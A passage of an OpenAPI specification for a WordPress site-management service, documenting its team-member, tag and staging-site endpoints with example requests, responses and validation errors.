"$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } }, "delete": { "tags": [ "Teams" ], "summary": "Delete team member", "operationId": "deleteTeamMember", "description": "Removes access for a connected team member or cancels a pending\ninvitation.\n\nUse this when a member should no longer be able to access your account, or\nwhen a pending invitation should be withdrawn.\n\nA successful response returns no response body.\n", "responses": { "204": { "$ref": "#/components/responses/DeleteTeamMemberNoContentResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/TeamMembersForbiddenResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/team-members/{team_member_id}/update": { "parameters": [ { "name": "team_member_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/TeamMemberId" }, "description": "Team member or invitation ID returned in team member lists and details." } ], "post": { "tags": [ "Teams" ], "summary": "Update team member", "operationId": "updateTeamMember", "description": "Updates a connected team member or pending invitation. You can change\ndisplay details, role, note, or site access.\n\nUse this when permissions or profile details need to change.\n\nIf a pending invitation is updated, it is replaced and the response\nincludes the new team member ID for later requests.\n\nA successful response returns the updated team member or invitation.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/UpdateTeamMemberRequest" }, "examples": { "all_sites_access": { "summary": "Update a member to all-sites access", "value": { "team_member": { "name": "Jane Doe", "role": "administrator", "company_name": "Acme Inc", "note": "Primary manager", "all_sites_access": true } } }, "limited_sites": { "summary": "Replace limited-access sites", "value": { "team_member": { "site_ids": [ "9bf3c2e7a1b24c6d8e9f0123456789ab" ] } } }, "co_owner": { "summary": "Promote to co-owner", "value": { "team_member": { "role": "co_owner" } } } } } } }, "responses": { "200": { "description": "Team member or invitation updated successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/UpdateTeamMemberResponse" }, "examples": { "connected": { "summary": "Connected team member updated", "value": { "team_member": { "id": "hY2nK8xR5mL3pQ7vT9wJ4bFc", "name": "Jane Doe", "email": "jane@example.com", "role": "administrator", "company_name": "Acme Inc", "status": "connected", "all_sites_access": true, "site_ids": [ "9bf3c2e7a1b24c6d8e9f0123456789ab", "a4d8f2c1b6e94d0a8f73c2e5d1b9a604" ], "two_fa_enabled": true, "note": "Primary manager", "created_at": "2026-02-20T10:00:00Z", "updated_at": "2026-02-28T11:10:00Z" } } }, "pending_invitation": { "summary": "Pending invitation updated with replacement ID", "value": { "team_member": { "id": "qW8nK2xR6mL4pJ5vT3hY9bFd", "name": "Alex Smith", "email": "alex@example.com", "role": "collaborator", "company_name": "Acme Inc", "status": "pending", "all_sites_access": false, "site_ids": [ "9bf3c2e7a1b24c6d8e9f0123456789ab" ], "two_fa_enabled": false, "note": "Updated invitation note", "created_at": "2026-02-28T09:00:00Z", "updated_at": "2026-02-28T11:10:00Z" } } } } } } }, "400": { "description": "The `team_member` request body is missing, empty, or contains invalid fields.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "missing_wrapper": { "summary": "Missing team_member root key", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "team_member", "message": "Can't be blank" } ] } } }, "empty_or_unrecognized_body": { "summary": "Empty body or no supported fields", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "team_member", "message": "Can't be blank" } ] } } }, "invalid_wrapper_type": { "summary": "team_member is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "team_member", "message": "Must be an object." } ] } } }, "invalid_text_type": { "summary": "Text field is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "note", "message": "Must be a string" } ] } } }, "text_too_long": { "summary": "Text fields exceed maximum length", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "too_long", "param": "name", "message": "Is too long (maximum is 255 characters)" }, { "code": "too_long", "param": "company_name", "message": "Is too long (maximum is 255 characters)" }, { "code": "too_long", "param": "note", "message": "Is too long (maximum is 5000 characters)" } ] } } }, "invalid_site_ids_type": { "summary": "site_ids is not an array", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "site_ids", "message": "Must be an array" } ] } } }, "invalid_all_sites_access_type": { "summary": "all_sites_access is not a boolean", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "all_sites_access", "message": "Must be a boolean" } ] } } }, "blank_name": { "summary": "Name sent as blank", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "name", "message": "Can't be blank" } ] } } }, "blank_role": { "summary": "Role sent as blank", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "role", "message": "Can't be blank" } ] } } }, "invalid_role": { "summary": "Invalid role value", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "role", "message": "Invalid role." } ] } } } } } } }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/TeamMembersForbiddenResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "description": "The team member or invitation could not be updated.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "email_cannot_be_updated": { "summary": "Email cannot be changed", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "email_cannot_be_updated", "param": "email", "message": "Email cannot be updated." } ] } } }, "role_hierarchy": { "summary": "Assigned role must be lower than your role", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "role_hierarchy", "param": "role", "message": "Assigned role must be lower than your own." } ] } } }, "invalid_site_id": { "summary": "Invalid site ID", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "invalid_id", "param": "site_ids", "message": "Incorrect site id: 'a1b2c3d4e5f64789ab0c123456789def'" } ] } } }, "limited_access_without_sites": { "summary": "Limited access requires a site", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "blank", "param": "site_ids", "message": "At least one site is required." } ] } } }, "site_ids_with_all_sites_access": { "summary": "Limited site IDs sent with all-sites access", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "invalid_value", "param": "site_ids", "message": "Must be empty when all_sites_access is true." } ] } } }, "cannot_assign_all_sites_access": { "summary": "Your current access does not include all-sites access", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "cannot_assign_all_sites_access", "param": "all_sites_access", "message": "You can't assign all-sites access." } ] } } }, "required_for_co_owner": { "summary": "Co-owner must have all-sites access", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "required_for_co_owner", "param": "all_sites_access", "message": "Co-owner must have all-sites access." } ] } } }, "not_allowed_for_co_owner": { "summary": "Co-owner cannot have limited site access", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "not_allowed_for_co_owner", "param": "site_ids", "message": "Co-owner cannot have limited site access." } ] } } } } } } }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/team-members/{team_member_id}/resend-invitation": { "parameters": [ { "name": "team_member_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/TeamMemberId" }, "description": "Pending invitation ID returned in team member lists and details." } ], "post": { "tags": [ "Teams" ], "summary": "Resend invitation", "operationId": "resendTeamMemberInvitation", "description": "Requests a new email for a pending invitation.\n\nUse this when the recipient needs another invitation link.\n\nResending replaces the existing invitation, so use the returned team\nmember ID for later requests.\n\nA successful response returns the new pending invitation.\n", "responses": { "200": { "description": "Invitation resent successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ResendInvitationTeamMemberResponse" }, "example": { "team_member": { "id": "qW8nK2xR6mL4pJ5vT3hY9bFd", "name": "Alex Smith", "email": "alex@example.com", "role": "collaborator", "company_name": "Acme Inc", "status": "pending", "all_sites_access": false, "site_ids": [ "9bf3c2e7a1b24c6d8e9f0123456789ab" ], "two_fa_enabled": false, "note": "Invitation resent", "created_at": "2026-02-28T09:00:00Z", "updated_at": "2026-02-28T11:30:00Z" } } } } }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "description": "A connected team member cannot receive another invitation.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "cannot_resend_connected_member": { "summary": "Member has already connected", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Cannot resend invitation for connected team member", "details": [ { "code": "cannot_resend_connected_member", "message": "Cannot resend invitation for connected team member." } ] } } } } } } }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/tags": { "get": { "tags": [ "Tags" ], "summary": "List tags", "operationId": "listTags", "description": "Returns tags in your account with display names, colors, and assigned site\nIDs. Assigned site IDs are limited to sites available to you.\n\nUse this list to review site groupings, find a tag to update, or check\ncurrent site assignments.\n\nA successful response returns a paginated list of tags.\n\n**Filtering**\n- Format: `filters[field:operator]=value`\n- Allowed fields: `name`, `color`, `created_at`, `updated_at`, `site_id`\n- Supported operators:\n - `eq`: `name`, `color`\n - `contains`: `name`\n - `gte`: `created_at`, `updated_at`\n - `lte`: `created_at`, `updated_at`\n - `in`: `site_id`\n- `site_id:in` must use array syntax, for example `filters[site_id:in][]=`\n- Use ISO 8601 timestamps for `created_at` and `updated_at` filters\n- `timezone` applies to `created_at` filters\n- Example: `filters[name:contains]=Production`\n\n**Sorting**\n- Format: `sort=field,direction`\n- Sortable fields: `name`, `color`, `created_at`, `updated_at`\n- Supported directions: `asc` (ascending), `desc` (descending)\n- Default: `created_at,desc`\n- Example: `sort=created_at,desc`\n", "parameters": [ { "$ref": "#/components/parameters/page" }, { "$ref": "#/components/parameters/per_page" }, { "$ref": "#/components/parameters/timezone" }, { "name": "sort", "in": "query", "required": false, "schema": { "$ref": "#/components/schemas/ListTagsSort" }, "description": "Sort order for returned tags.", "example": "created_at,desc" }, { "name": "filters", "in": "query", "required": false, "style": "deepObject", "explode": true, "schema": { "$ref": "#/components/schemas/ListTagsFilters" }, "description": "Filters applied to returned tags.", "example": { "name:contains": "Production", "site_id:in": [ "9bf3c2e7a1b24c6d8e9f0123456789ab" ] } } ], "responses": { "200": { "description": "Tags returned successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ListTagsResponse" }, "example": { "tags": [ { "id": "428", "name": "Production", "color": "#00ff00", "created_at": "2026-01-10T10:00:00Z", "updated_at": "2026-01-11T10:00:00Z", "site_ids": [ "9bf3c2e7a1b24c6d8e9f0123456789ab", "a4d8f2c1b6e94d0a8f73c2e5d1b9a604" ] }, { "id": "429", "name": "Staging", "color": null, "created_at": "2026-01-09T08:00:00Z", "updated_at": "2026-01-09T08:00:00Z", "site_ids": [] } ], "meta": { "pagination": { "page": 1, "perPage": 100, "totalPages": 1, "totalItems": 2 } } } } } }, "400": { "description": "The filters or sort query parameters are invalid.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "unsupported_filter": { "summary": "Unsupported filter", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "filters[name:start]", "message": "Filter is not supported." } ] } } }, "filters_invalid_type": { "summary": "Filters is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "filters", "message": "Must be an object." } ] } } }, "site_filter_scalar": { "summary": "site_id:in sent without array syntax", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "filters.site_id:in", "message": "Must be an array." } ] } } }, "invalid_timestamp": { "summary": "Timestamp filter is invalid", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_format", "param": "created_at", "message": "Invalid timestamp" } ] } } }, "invalid_sort_type": { "summary": "Sort value is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "sort", "message": "Must be a string." } ] } } }, "invalid_sort_format": { "summary": "Sort value is not field,direction", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort must be in field,direction format." } ] } } }, "invalid_sort_field": { "summary": "Sort field is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort field is not supported." } ] } } }, "invalid_sort_direction": { "summary": "Sort direction is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort direction must be asc or desc." } ] } } } } } } }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } }, "post": { "tags": [ "Tags" ], "summary": "Create tag", "operationId": "createTag", "description": "Creates a tag that can be assigned to WordPress sites available to you.\n\nUse this when you need a reusable label for grouping sites.\n\nA successful response returns the tag with its assigned site IDs.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/CreateTagRequest" }, "example": { "tag": { "name": "Production", "color": "#00ff00" } } } } }, "responses": { "201": { "description": "Tag created successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/CreateTagResponse" }, "example": { "tag": { "id": "428", "name": "Production", "color": "#00ff00", "created_at": "2026-01-10T10:00:00Z", "updated_at": "2026-01-10T10:00:00Z", "site_ids": [] } } } } }, "400": { "description": "The `tag` request body is missing or contains invalid fields.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "missing_wrapper": { "summary": "Missing tag wrapper", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "tag", "message": "Can't be blank" } ] } } }, "invalid_wrapper_type": { "summary": "tag wrapper is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "tag", "message": "Must be an object" } ] } } }, "missing_name": { "summary": "Missing tag name", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "name", "message": "Can't be blank" } ] } } }, "missing_color": { "summary": "Missing tag color", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "color", "message": "Can't be blank" } ] } } }, "invalid_name_type": { "summary": "name is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "name", "message": "Must be a string" } ] } } }, "invalid_color_type": { "summary": "color is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "color", "message": "Must be a string" } ] } } }, "invalid_color": { "summary": "Invalid color format", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_format", "param": "color", "message": "Must be a valid six-digit hex color" } ] } } } } } } }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "422": { "description": "The tag could not be created.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "already_exists": { "summary": "Enabled tag with this name already exists", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "already_exists", "param": "name", "message": "Tag already exists." } ] } } } } } } }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/tags/{tag_id}": { "parameters": [ { "name": "tag_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/TagId" }, "description": "Tag ID returned in tag lists and details. Tag IDs are numeric strings." } ], "get": { "tags": [ "Tags" ], "summary": "Show tag", "operationId": "showTag", "description": "Returns one tag with display name, color, and assigned site IDs. Assigned\nsite IDs are limited to sites available to you.\n\nUse this when you need to view the tag's current site assignments.\n\nA successful response returns the requested tag.\n", "responses": { "200": { "description": "Tag returned successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ShowTagResponse" }, "example": { "tag": { "id": "428", "name": "Production", "color": "#00ff00", "created_at": "2026-01-10T10:00:00Z", "updated_at": "2026-01-11T10:00:00Z", "site_ids": [ "9bf3c2e7a1b24c6d8e9f0123456789ab" ] } } } } }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } }, "delete": { "tags": [ "Tags" ], "summary": "Delete tag", "operationId": "deleteTag", "description": "Deletes a tag and clears all site assignments.\n\nUse this when the tag should no longer be used for grouping sites.\n\nA successful response returns no response body.\n", "responses": { "204": { "$ref": "#/components/responses/DeleteTagNoContentResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "description": "The tag could not be deleted.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "operation_failed": { "summary": "Tag could not be deleted", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Tag could not be deleted.", "details": [ { "code": "operation_failed", "message": "Operation failed" } ] } } } } } } }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/tags/{tag_id}/update": { "parameters": [ { "name": "tag_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/TagId" }, "description": "Tag ID returned in tag lists and details. Tag IDs are numeric strings." } ], "post": { "tags": [ "Tags" ], "summary": "Update tag", "operationId": "updateTag", "description": "Updates a tag's display name, color, or both.\n\nUse this when a tag needs a clearer name or display color.\n\nA successful response returns the updated tag with its assigned site IDs.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/UpdateTagRequest" }, "example": { "tag": { "name": "Staging", "color": "#ff9900" } } } } }, "responses": { "200": { "description": "Tag updated successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/UpdateTagResponse" }, "example": { "tag": { "id": "428", "name": "Staging", "color": "#ff9900", "created_at": "2026-01-10T10:00:00Z", "updated_at": "2026-01-15T10:00:00Z", "site_ids": [ "9bf3c2e7a1b24c6d8e9f0123456789ab" ] } } } } }, "400": { "description": "The `tag` request body is missing or contains invalid fields.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "empty_update": { "summary": "No supported update fields", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "tag", "message": "Must include at least one of name or color" } ] } } }, "missing_wrapper": { "summary": "Missing tag wrapper", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "tag", "message": "Can't be blank" } ] } } }, "invalid_wrapper_type": { "summary": "tag wrapper is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "tag", "message": "Must be an object" } ] } } }, "invalid_name_type": { "summary": "name is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "name", "message": "Must be a string" } ] } } }, "blank_name": { "summary": "name is blank", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "name", "message": "Can't be blank" } ] } } }, "invalid_color_type": { "summary": "color is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "color", "message": "Must be a string" } ] } } }, "invalid_color": { "summary": "Invalid color format", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_format", "param": "color", "message": "Must be a valid six-digit hex color" } ] } } } } } } }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "description": "The tag could not be updated.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "already_exists": { "summary": "Enabled tag with this name already exists", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "already_exists", "param": "name", "message": "Tag already exists." } ] } } } } } } }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/tags/{tag_id}/assign": { "parameters": [ { "name": "tag_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/TagId" }, "description": "Tag ID returned in tag lists and details. Tag IDs are numeric strings." } ], "post": { "tags": [ "Tags" ], "summary": "Assign tag to sites", "operationId": "assignTag", "description": "Assigns one tag to selected WordPress sites available to you.\n\nUse this to add selected sites to the group represented by the tag.\n\nSites that already have the maximum number of tags are reported in\n`assign.errors`.\n\nA successful response returns assigned site IDs, any site-level errors,\nand result counts.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/AssignTagRequest" }, "example": { "site_ids": [ "9bf3c2e7a1b24c6d8e9f0123456789ab", "a4d8f2c1b6e94d0a8f73c2e5d1b9a604" ] } } } }, "responses": { "200": { "description": "Tag assignment processed successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/AssignTagResponse" }, "examples": { "success": { "summary": "All requested sites succeeded", "value": { "assign": { "site_ids": [ "9bf3c2e7a1b24c6d8e9f0123456789ab", "a4d8f2c1b6e94d0a8f73c2e5d1b9a604" ], "errors": [] }, "meta": { "requested": 2, "succeeded": 2, "failed": 0 } } }, "partial_success": { "summary": "One site reached the tag limit", "value": { "assign": { "site_ids": [ "9bf3c2e7a1b24c6d8e9f0123456789ab" ], "errors": [ { "site_id": "a4d8f2c1b6e94d0a8f73c2e5d1b9a604", "code": "tag_limit_reached", "message": "Site has reached the tag limit" } ] }, "meta": { "requested": 2, "succeeded": 1, "failed": 1 } } } } } } }, "400": { "description": "The `site_ids` request field is missing, empty, or not an array.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "blank_site_ids": { "summary": "Missing or empty site_ids", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "site_ids", "message": "Can't be blank" } ] } } }, "site_ids_invalid_type": { "summary": "site_ids is not an array", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "site_ids", "message": "Must be an array." } ] } } } } } } }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "description": "The tag could not be assigned to the submitted sites.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "invalid_site_id": { "summary": "Site ID is not accessible", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "invalid_id", "param": "site_ids", "message": "Incorrect site id: 'c7e1a9b3d5f6472a8c0e4b6f9d2a1357'" } ] } } } } } } }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/tags/{tag_id}/remove": { "parameters": [ { "name": "tag_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/TagId" }, "description": "Tag ID returned in tag lists and details. Tag IDs are numeric strings." } ], "post": { "tags": [ "Tags" ], "summary": "Remove tag from sites", "operationId": "removeTag", "description": "Removes one tag from selected WordPress sites available to you.\n\nUse this to remove selected sites from the group represented by the tag.\n\nA successful response returns processed site IDs and result counts.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/RemoveTagRequest" }, "example": { "site_ids": [ "9bf3c2e7a1b24c6d8e9f0123456789ab" ] } } } }, "responses": { "200": { "description": "Tag removal processed successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/RemoveTagResponse" }, "example": { "remove": { "site_ids": [ "9bf3c2e7a1b24c6d8e9f0123456789ab" ], "errors": [] }, "meta": { "requested": 1, "succeeded": 1, "failed": 0 } } } } }, "400": { "description": "The `site_ids` request field is missing, empty, or not an array.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "blank_site_ids": { "summary": "Missing or empty site_ids", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "site_ids", "message": "Can't be blank" } ] } } }, "site_ids_invalid_type": { "summary": "site_ids is not an array", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "site_ids", "message": "Must be an array." } ] } } } } } } }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "description": "The tag could not be removed from the submitted sites.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "invalid_site_id": { "summary": "Site ID is not accessible", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "invalid_id", "param": "site_ids", "message": "Incorrect site id: 'c7e1a9b3d5f6472a8c0e4b6f9d2a1357'" } ] } } } } } } }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/staging-sites": { "get": { "tags": [ "Staging" ], "summary": "List staging sites", "operationId": "listStagingSites", "description": "Returns staging sites for WordPress sites available to you. Each item\nshows the live site it was created from, current status, URL, expiry\ntime, PHP version, and creator details.\n\nUse this list to find a staging site to inspect, check which staging\nsites are ready to use, or see which ones are nearing expiry.\n\nA successful response returns a paginated list of staging sites.\n\n**Filtering**\n- Format: `filters[field:operator]=value`\n- Allowed fields: `status`, `site_id`, `created_at`, `updated_at`, `expires_at`\n- Supported operators:\n - `eq`: `status`, `site_id`\n - `gte`: `created_at`, `updated_at`, `expires_at`\n - `lte`: `created_at`, `updated_at`, `expires_at`\n- Supported status values for matching: `initializing`, `active`, `paused`, `suspended`\n- Use ISO 8601 timestamps for `created_at`, `updated_at`, and `expires_at` filters\n- `timezone` applies to `created_at` filters\n- Example: `filters[status:eq]=active`\n\n**Sorting**\n- Format: `sort=field,direction`\n- Sortable fields: `created_at`, `updated_at`, `expires_at`, `php_version`\n- Supported directions: `asc` (ascending), `desc` (descending)\n- Default: `created_at,desc`\n- Example: `sort=created_at,desc`\n", "parameters": [ { "$ref": "#/components/parameters/page" }, { "$ref": "#/components/parameters/per_page" }, { "$ref": "#/components/parameters/timezone" }, { "name": "sort", "in": "query", "required": false, "schema": { "$ref": "#/components/schemas/ListStagingSitesSort" }, "description": "Sort order for returned staging sites." }, { "name": "filters", "in": "query", "required": false, "style": "deepObject", "explode": true, "schema": { "$ref": "#/components/schemas/ListStagingSitesFilters" }, "description": "Filters applied to returned staging sites.", "example": { "status:eq": "active", "site_id:eq": "9bf3c2e7a1b24c6d8e9f0123456789ab" } } ], "responses": { "200": { "description": "Staging sites returned successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ListStagingSitesResponse" }, "example": { "staging_sites": [ { "id": "qW6nR9xK2mL4pJ8vT3hY7bFd", "site_id": "9bf3c2e7a1b24c6d8e9f0123456789ab", "status": "active", "url": "https://staging-example-com-1.flavor.press", "created_at": "2026-01-10T10:00:00Z", "updated_at": "2026-01-12T08:30:00Z", "expires_at": "2026-02-10T10:00:00Z", "php_version": "8.2", "user": { "name": "Admin Doe", "email": "admin@example.com" } }, { "id": "mL8pQ2xZr5nVt4sKy7hFc9dA", "site_id": "7af4d2c9e8b14560a3c7f91d2e4b8a6c", "status": "paused", "url": "https://staging-example-com-2.flavor.press", "created_at": "2026-01-08T11:20:00Z", "updated_at": "2026-01-11T07:45:00Z", "expires_at": "2026-02-08T11:20:00Z", "php_version": "8.1", "user": { "name": "Sam Lee", "email": "sam@example.com" } } ], "meta": { "pagination": { "page": 1, "perPage": 100, "totalPages": 1, "totalItems": 2 } } } } } }, "400": { "$ref": "#/components/responses/StagingSitesInvalidIndexQueryResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "422": { "$ref": "#/components/responses/StagingPlanUnavailableResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } }, "post": { "tags": [ "Staging" ], "summary": "Create staging site", "operationId": "createStagingSite", "description": "Starts creating a staging site from a completed backup snapshot of a\nlive site.\n\nUse this when you need an isolated copy of a site to test updates,\nfixes, or other changes before applying them to the live site.\n\nA successful response returns the task created for staging site\ncreation. Use the returned task ID with Tasks to check progress. After\nthe task succeeds, list staging sites to find the new staging site and\nview its details.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/CreateStagingSiteRequest" }, "example": { "staging_site": { "site_id": 